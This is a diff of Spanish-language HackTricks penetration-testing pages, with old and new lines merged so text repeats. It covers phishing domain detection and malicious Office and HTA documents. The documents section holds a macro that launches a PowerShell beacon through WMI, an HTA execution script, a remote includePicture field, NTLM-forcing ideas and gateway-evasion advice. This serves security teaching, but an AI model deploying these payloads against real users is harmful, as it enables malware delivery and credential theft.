Utiliza [**Phishious** ](https://github.com/Rices/Phishious)para evaluar si tu correo electrónico terminará en la carpeta de spam, será bloqueado o tendrá éxito. Usa [**Phishious** ](https://github.com/Rices/Phishious) para evaluar si tu correo terminará en la carpeta de spam o si será bloqueado o exitoso.
## Referencias ## Referencias
@ -458,16 +459,17 @@ Utiliza [**Phishious** ](https://github.com/Rices/Phishious)para evaluar si tu c
* [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) * [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
* [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) * [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,78 +1,95 @@
# Detección de Phishing # Detección de Phishing
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
## Introducción ## Introducción
Para detectar un intento de phishing es importante **comprender las técnicas de phishing que se están utilizando hoy en día**. En la página principal de esta publicación, puedes encontrar esta información, así que si no estás al tanto de las técnicas que se están utilizando hoy en día, te recomiendo que vayas a la página principal y leas al menos esa sección. Para detectar un intento de phishing es importante **entender las técnicas de phishing que se están utilizando hoy en día**. En la página principal de esta publicación, puedes encontrar esta información, así que si no estás al tanto de qué técnicas se están utilizando hoy, te recomiendo que vayas a la página principal y leas al menos esa sección.
Esta publicación se basa en la idea de que los **atacantes intentarán de alguna manera imitar o utilizar el nombre de dominio de la víctima**. Si tu dominio se llama `ejemplo.com` y te hacen phishing utilizando un nombre de dominio completamente diferente por alguna razón como `hasganadolaloteria.com`, estas técnicas no lo descubrirán. Esta publicación se basa en la idea de que los **atacantes intentarán de alguna manera imitar o usar el nombre de dominio de la víctima**. Si tu dominio se llama `example.com` y eres víctima de phishing usando un nombre de dominio completamente diferente por alguna razón como `youwonthelottery.com`, estas técnicas no lo descubrirán.
## Variaciones de nombres de dominio ## Variaciones de nombres de dominio
Es bastante **fácil** **descubrir** aquellos intentos de **phishing** que utilizarán un **nombre de dominio similar** dentro del correo electrónico.\ Es un poco **fácil** **descubrir** esos intentos de **phishing** que usarán un **nombre de dominio similar** dentro del correo electrónico.\
Es suficiente con **generar una lista de los nombres de phishing más probables** que un atacante pueda usar y **verificar** si está **registrado** o simplemente verificar si hay alguna **IP** que lo esté utilizando. Es suficiente con **generar una lista de los nombres de phishing más probables** que un atacante puede usar y **verificar** si está **registrado** o simplemente comprobar si hay alguna **IP** usándolo.
### Encontrar dominios sospechosos ### Encontrar dominios sospechosos
Para este propósito, puedes utilizar cualquiera de las siguientes herramientas. Ten en cuenta que estas herramientas también realizarán solicitudes DNS automáticamente para verificar si el dominio tiene alguna IP asignada: Para este propósito, puedes usar cualquiera de las siguientes herramientas. Ten en cuenta que estas herramientas también realizarán solicitudes DNS automáticamente para verificar si el dominio tiene alguna IP asignada:
* [**dnstwist**](https://github.com/elceef/dnstwist) * [**dnstwist**](https://github.com/elceef/dnstwist)
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) * [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
### Bitflipping ### Bitflipping
**Puedes encontrar una breve explicación de esta técnica en la página principal. O lee la investigación original en** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) **Puedes encontrar una breve explicación de esta técnica en la página principal. O leer la investigación original en** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
Por ejemplo, una modificación de 1 bit en el dominio microsoft.com puede transformarlo en _windnws.com._\ Por ejemplo, una modificación de 1 bit en el dominio microsoft.com puede transformarlo en _windnws.com._\
**Los atacantes pueden registrar tantos dominios con bit-flipping como sea posible relacionados con la víctima para redirigir a los usuarios legítimos a su infraestructura**. **Los atacantes pueden registrar tantos dominios de bit-flipping como sea posible relacionados con la víctima para redirigir a usuarios legítimos a su infraestructura**.
**Todos los posibles nombres de dominio con bit-flipping también deben ser monitoreados.** **Todos los posibles nombres de dominio de bit-flipping también deben ser monitoreados.**
### Verificaciones básicas ### Comprobaciones básicas
Una vez que tengas una lista de posibles nombres de dominio sospechosos, deberías **verificarlos** (principalmente los puertos HTTP y HTTPS) para **ver si están utilizando algún formulario de inicio de sesión similar** al de alguno de los dominios de la víctima.\ Una vez que tengas una lista de posibles nombres de dominio sospechosos, debes **verificarlos** (principalmente los puertos HTTP y HTTPS) para **ver si están usando algún formulario de inicio de sesión similar** al de alguno de los dominios de la víctima.\
También podrías verificar el puerto 3333 para ver si está abierto y ejecutando una instancia de `gophish`.\ También podrías verificar el puerto 3333 para ver si está abierto y ejecutando una instancia de `gophish`.\
También es interesante saber **cuánto tiempo tiene cada dominio sospechoso descubierto**, cuanto más joven sea, más riesgoso será.\ También es interesante saber **cuán antiguo es cada dominio sospechoso descubierto**, cuanto más joven es, más riesgoso es.\
También puedes obtener **capturas de pantalla** de la página web sospechosa de HTTP y/o HTTPS para ver si es sospechosa y en ese caso **acceder para investigar más a fondo**. También puedes obtener **capturas de pantalla** de la página web sospechosa en HTTP y/o HTTPS para ver si es sospechosa y en ese caso **acceder a ella para echar un vistazo más profundo**.
### Verificaciones avanzadas ### Comprobaciones avanzadas
Si deseas ir un paso más allá, te recomendaría **monitorear esos dominios sospechosos y buscar más** de vez en cuando (¿todos los días? solo toma unos segundos/minutos). También deberías **verificar** los **puertos** abiertos de las IPs relacionadas y **buscar instancias de `gophish` u herramientas similares** (sí, los atacantes también cometen errores) y **monitorear las páginas web HTTP y HTTPS de los dominios y subdominios sospechosos** para ver si han copiado algún formulario de inicio de sesión de las páginas web de la víctima.\ Si deseas ir un paso más allá, te recomendaría **monitorear esos dominios sospechosos y buscar más** de vez en cuando (¿cada día? solo toma unos segundos/minutos). También deberías **verificar** los **puertos** abiertos de las IPs relacionadas y **buscar instancias de `gophish` o herramientas similares** (sí, los atacantes también cometen errores) y **monitorear las páginas web HTTP y HTTPS de los dominios y subdominios sospechosos** para ver si han copiado algún formulario de inicio de sesión de las páginas web de la víctima.\
Para **automatizar esto** te recomendaría tener una lista de formularios de inicio de sesión de los dominios de la víctima, rastrear las páginas web sospechosas y comparar cada formulario de inicio de sesión encontrado dentro de los dominios sospechosos con cada formulario de inicio de sesión del dominio de la víctima usando algo como `ssdeep`.\ Para **automatizar esto**, te recomendaría tener una lista de formularios de inicio de sesión de los dominios de la víctima, rastrear las páginas web sospechosas y comparar cada formulario de inicio de sesión encontrado dentro de los dominios sospechosos con cada formulario de inicio de sesión del dominio de la víctima usando algo como `ssdeep`.\
Si has localizado los formularios de inicio de sesión de los dominios sospechosos, puedes intentar **enviar credenciales falsas** y **verificar si te redirige al dominio de la víctima**. Si has localizado los formularios de inicio de sesión de los dominios sospechosos, puedes intentar **enviar credenciales basura** y **verificar si te redirige al dominio de la víctima**.
## Nombres de dominio que utilizan palabras clave ## Nombres de dominio que utilizan palabras clave
La página principal también menciona una técnica de variación de nombres de dominio que consiste en poner el **nombre de dominio de la víctima dentro de un dominio más grande** (por ejemplo, paypal-financial.com para paypal.com). La página principal también menciona una técnica de variación de nombres de dominio que consiste en poner el **nombre de dominio de la víctima dentro de un dominio más grande** (por ejemplo, paypal-financial.com para paypal.com).
### Transparencia del certificado ### Transparencia de Certificados
No es posible seguir el enfoque anterior de "Fuerza bruta", pero en realidad es **posible descubrir tales intentos de phishing** también gracias a la transparencia del certificado. Cada vez que se emite un certificado por una CA, los detalles se hacen públicos. Esto significa que al leer la transparencia del certificado o incluso monitorearla, es **posible encontrar dominios que están utilizando una palabra clave dentro de su nombre** Por ejemplo, si un atacante genera un certificado de [https://paypal-financial.com](https://paypal-financial.com), al ver el certificado es posible encontrar la palabra clave "paypal" y saber que se está utilizando un correo electrónico sospechoso. No es posible tomar el enfoque anterior de "Fuerza Bruta", pero en realidad es **posible descubrir tales intentos de phishing** también gracias a la transparencia de certificados. Cada vez que un certificado es emitido por una CA, los detalles se hacen públicos. Esto significa que al leer la transparencia de certificados o incluso monitorearla, es **posible encontrar dominios que están usando una palabra clave dentro de su nombre**. Por ejemplo, si un atacante genera un certificado de [https://paypal-financial.com](https://paypal-financial.com), al ver el certificado es posible encontrar la palabra clave "paypal" y saber que se está utilizando un correo electrónico sospechoso.
La publicación [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) sugiere que puedes usar Censys para buscar certificados que afecten a una palabra clave específica y filtrar por fecha (solo certificados "nuevos") y por el emisor de la CA "Let's Encrypt": La publicación [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) sugiere que puedes usar Censys para buscar certificados que afecten a una palabra clave específica y filtrar por fecha (solo "nuevos" certificados) y por el emisor de la CA "Let's Encrypt":
![https://0xpatrik.com/content/images/2018/07/cert\_listing.png](<../../.gitbook/assets/image (1115).png>) ![https://0xpatrik.com/content/images/2018/07/cert\_listing.png](<../../.gitbook/assets/image (1115).png>)
Sin embargo, puedes hacer "lo mismo" utilizando la web gratuita [**crt.sh**](https://crt.sh). Puedes **buscar la palabra clave** y **filtrar** los resultados **por fecha y CA** si lo deseas. Sin embargo, puedes hacer "lo mismo" usando la web gratuita [**crt.sh**](https://crt.sh). Puedes **buscar la palabra clave** y **filtrar** los resultados **por fecha y CA** si lo deseas.
![](<../../.gitbook/assets/image (519).png>) ![](<../../.gitbook/assets/image (519).png>)
Utilizando esta última opción, incluso puedes utilizar el campo Identidades coincidentes para ver si alguna identidad del dominio real coincide con alguno de los dominios sospechosos (ten en cuenta que un dominio sospechoso puede ser un falso positivo). Usando esta última opción, incluso puedes usar el campo Identidades Coincidentes para ver si alguna identidad del dominio real coincide con alguno de los dominios sospechosos (ten en cuenta que un dominio sospechoso puede ser un falso positivo).
**Otra alternativa** es el fantástico proyecto llamado [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream proporciona un flujo en tiempo real de certificados recién generados que puedes usar para detectar palabras clave especificadas en (casi) tiempo real. De hecho, hay un proyecto llamado [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher) que hace exactamente eso.
**Otra alternativa** es el fantástico proyecto llamado [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream proporciona un flujo en tiempo real de certificados recién generados que puedes utilizar para detectar palabras clave especificadas en tiempo real o casi real. De hecho, hay un proyecto llamado [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher) que hace precisamente eso.
### **Nuevos dominios** ### **Nuevos dominios**
**Una última alternativa** es recopilar una lista de **dominios recién registrados** para algunos TLDs ([Whoxy](https://www.whoxy.com/newly-registered-domains/) ofrece este servicio) y **verificar las palabras clave en estos dominios**. Sin embargo, los dominios largos suelen utilizar uno o más subdominios, por lo tanto la palabra clave no aparecerá dentro del FLD y no podrás encontrar el subdominio de phishing. **Una última alternativa** es reunir una lista de **dominios recién registrados** para algunos TLDs ([Whoxy](https://www.whoxy.com/newly-registered-domains/) proporciona tal servicio) y **verificar las palabras clave en estos dominios**. Sin embargo, los dominios largos suelen usar uno o más subdominios, por lo tanto, la palabra clave no aparecerá dentro del FLD y no podrás encontrar el subdominio de phishing.
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,43 +1,48 @@
# Archivos y Documentos de Phishing # Archivos y Documentos de Phishing
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**repositorios de HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Documentos de Oficina ## Documentos de Office
Microsoft Word realiza validación de datos de archivo antes de abrir un archivo. La validación de datos se realiza en forma de identificación de estructura de datos, conforme al estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo analizado no se abrirá. Microsoft Word realiza la validación de datos del archivo antes de abrirlo. La validación de datos se lleva a cabo en forma de identificación de la estructura de datos, de acuerdo con el estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo que se está analizando no se abrirá.
Por lo general, los archivos de Word que contienen macros utilizan la extensión `.docm`. Sin embargo, es posible cambiar el nombre del archivo modificando la extensión y aún así mantener sus capacidades de ejecución de macros.\ Por lo general, los archivos de Word que contienen macros utilizan la extensión `.docm`. Sin embargo, es posible renombrar el archivo cambiando la extensión y aún así mantener sus capacidades de ejecución de macros.\
Por ejemplo, un archivo RTF no admite macros, por diseño, pero un archivo DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros.\ Por ejemplo, un archivo RTF no admite macros, por diseño, pero un archivo DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros.\
Los mismos internos y mecanismos se aplican a todo el software de la Suite de Microsoft Office (Excel, PowerPoint, etc.). Los mismos internos y mecanismos se aplican a todo el software de la Suite de Microsoft Office (Excel, PowerPoint, etc.).
Puedes usar el siguiente comando para verificar qué extensiones serán ejecutadas por algunos programas de Office: Puedes usar el siguiente comando para verificar qué extensiones se van a ejecutar por algunos programas de Office:
```bash ```bash
assoc | findstr /i "word excel powerp" assoc | findstr /i "word excel powerp"
``` ```
### Carga de Imágenes Externas DOCX files referencing a remote template (Archivo Opciones Complementos Administrar: Plantillas Ir) that includes macros can “execute” macros as well.
Ir a: _Insertar --> Partes rápidas --> Campo_\ ### Carga de Imagen Externa
_**Categorías**: Vínculos y Referencias, **Nombres de campo**: includePicture, y **Nombre de archivo o URL**:_ http://\<ip>/whatever
Ir a: _Insertar --> Partes Rápidas --> Campo_\
_**Categorías**: Enlaces y Referencias, **Nombres de campo**: includePicture, y **Nombre de archivo o URL**:_ http://\<ip>/whatever
![](<../../.gitbook/assets/image (155).png>) ![](<../../.gitbook/assets/image (155).png>)
### Puerta Trasera de Macros ### Puerta Trasera de Macros
Es posible utilizar macros para ejecutar código arbitrario desde el documento. Es posible usar macros para ejecutar código arbitrario desde el documento.
#### Funciones de Carga Automática #### Funciones de Carga Automática
Cuanto más comunes sean, más probable será que el AV las detecte. Cuanto más comunes sean, más probable es que el AV las detecte.
* AutoOpen() * AutoOpen()
* Document\_Open() * Document\_Open()
@ -72,14 +77,14 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated> proc.Create "powershell <beacon line generated>
``` ```
#### Eliminar manualmente metadatos #### Eliminar manualmente los metadatos
Ve a **Archivo > Información > Inspeccionar documento > Inspeccionar documento**, lo que abrirá el Inspector de documentos. Haz clic en **Inspeccionar** y luego en **Eliminar todo** junto a **Propiedades del documento e información personal**. Ve a **Archivo > Información > Inspeccionar documento > Inspeccionar documento**, lo que abrirá el Inspector de documentos. Haz clic en **Inspeccionar** y luego en **Eliminar todo** junto a **Propiedades del documento e información personal**.
#### Extensión de documento #### Extensión de Doc
Una vez terminado, selecciona el menú desplegable **Guardar como tipo**, cambia el formato de **`.docx`** a **Word 97-2003 `.doc`**.\ Cuando termines, selecciona el menú desplegable **Guardar como tipo**, cambia el formato de **`.docx`** a **Word 97-2003 `.doc`**.\
Haz esto porque **no puedes guardar macros dentro de un `.docx`** y hay un **estigma** **alrededor** de la extensión de macro habilitada **`.docm`** (por ejemplo, el icono en miniatura tiene un gran `!` y algunos gateways web/correo electrónico los bloquean por completo). Por lo tanto, esta **extensión heredada `.doc` es el mejor compromiso**. Haz esto porque **no puedes guardar macros dentro de un `.docx`** y hay un **estigma** **alrededor** de la extensión habilitada para macros **`.docm`** (por ejemplo, el ícono de miniatura tiene un gran `!` y algunos gateways web/correo los bloquean por completo). Por lo tanto, esta **extensión `.doc` heredada es el mejor compromiso**.
#### Generadores de macros maliciosas #### Generadores de macros maliciosas
@ -89,9 +94,9 @@ Haz esto porque **no puedes guardar macros dentro de un `.docx`** y hay un **est
## Archivos HTA ## Archivos HTA
Un archivo HTA es un programa de Windows que **combina HTML y lenguajes de script (como VBScript y JScript)**. Genera la interfaz de usuario y se ejecuta como una aplicación "totalmente confiable", sin las limitaciones del modelo de seguridad de un navegador. Un HTA es un programa de Windows que **combina HTML y lenguajes de scripting (como VBScript y JScript)**. Genera la interfaz de usuario y se ejecuta como una aplicación "totalmente confiable", sin las limitaciones del modelo de seguridad de un navegador.
Un archivo HTA se ejecuta utilizando **`mshta.exe`**, que normalmente está **instalado** junto con **Internet Explorer**, lo que hace que **`mshta` dependa de IE**. Por lo tanto, si se ha desinstalado, los HTA no podrán ejecutarse. Un HTA se ejecuta utilizando **`mshta.exe`**, que generalmente está **instalado** junto con **Internet Explorer**, haciendo que **`mshta` dependa de IE**. Así que si se ha desinstalado, los HTA no podrán ejecutarse.
```html ```html
<--! Basic HTA Execution --> <--! Basic HTA Execution -->
<html> <html>
@ -146,11 +151,11 @@ var_func
self.close self.close
</script> </script>
``` ```
## Forzando la Autenticación NTLM ## Forzar la Autenticación NTLM
Existen varias formas de **forzar la autenticación NTLM "de forma remota"**, por ejemplo, podrías agregar **imágenes invisibles** a correos electrónicos o HTML a los que el usuario accederá (¿incluso HTTP MitM?). O enviar a la víctima la **dirección de archivos** que **activarán** una **autenticación** solo por **abrir la carpeta**. Hay varias formas de **forzar la autenticación NTLM "remotamente"**, por ejemplo, podrías agregar **imágenes invisibles** a correos electrónicos o HTML que el usuario accederá (¿incluso HTTP MitM?). O enviar a la víctima la **dirección de archivos** que **activarán** una **autenticación** solo por **abrir la carpeta.**
**Consulta estas ideas y más en las siguientes páginas:** **Revisa estas ideas y más en las siguientes páginas:**
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} {% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md) [printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
@ -162,19 +167,22 @@ Existen varias formas de **forzar la autenticación NTLM "de forma remota"**, po
### Relevo NTLM ### Relevo NTLM
No olvides que no solo puedes robar el hash o la autenticación sino también **realizar ataques de relevo NTLM**: No olvides que no solo puedes robar el hash o la autenticación, sino también **realizar ataques de relevo NTLM**:
* [**Ataques de relevo NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) * [**Ataques de Relevo NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
* [**AD CS ESC8 (relevo NTLM a certificados)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) * [**AD CS ESC8 (relevo NTLM a certificados)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,53 +1,55 @@
# Python Sandbox Escape & Pyscript # Escape de Sandbox de Python y Pyscript
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
